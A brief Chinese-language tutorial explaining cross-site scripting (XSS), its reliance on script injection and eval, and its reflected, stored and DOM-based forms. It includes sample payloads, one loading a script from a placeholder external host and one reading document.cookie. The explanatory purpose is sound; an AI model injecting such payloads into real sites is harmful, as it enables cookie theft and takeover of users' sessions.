XSS的含义
XSS(Cross Site Scripting)即跨站脚本。跨站的主要内容是在脚本上。
跨站脚本
跨站脚本的跨,体现了浏览器的特性,可以跨域。所以也就给远程代码或者第三方域上的代码提供了通道。
一般弹窗攻击是无意义的。所以一般都会以脚本的形式嵌入页面。
<script src="http://www.xxx.com/xss.js"></script>
而不只是
<script>alert('XSS')</script>
多发于有输入的页面,类似表单等。
eval扮演的角色
有时候eval在其中也扮演了重要角色,因为它能解释执行js代码,类似一个小型的解释器。
<script>eval('console.log(document.cookie)')</script>
XSS的三种类型
反射型XSS
发出请求的时候,XSS代码出现在URL中,作为输入提交到服务器,服务器响应后在响应内容中出现这段XSS代码,最后交给浏览器解析,这个过程类似反射。
存储型XSS
与反射性的差别在于数据不会立马响应给客户端,而是会存储在诸如数据,文件中。等待下次用户查询的时候显示出来。触发攻。
DOM XSS
最后一种直接不经过服务器,直接在客户端依靠浏览器的解析来进行。例如上面的eval。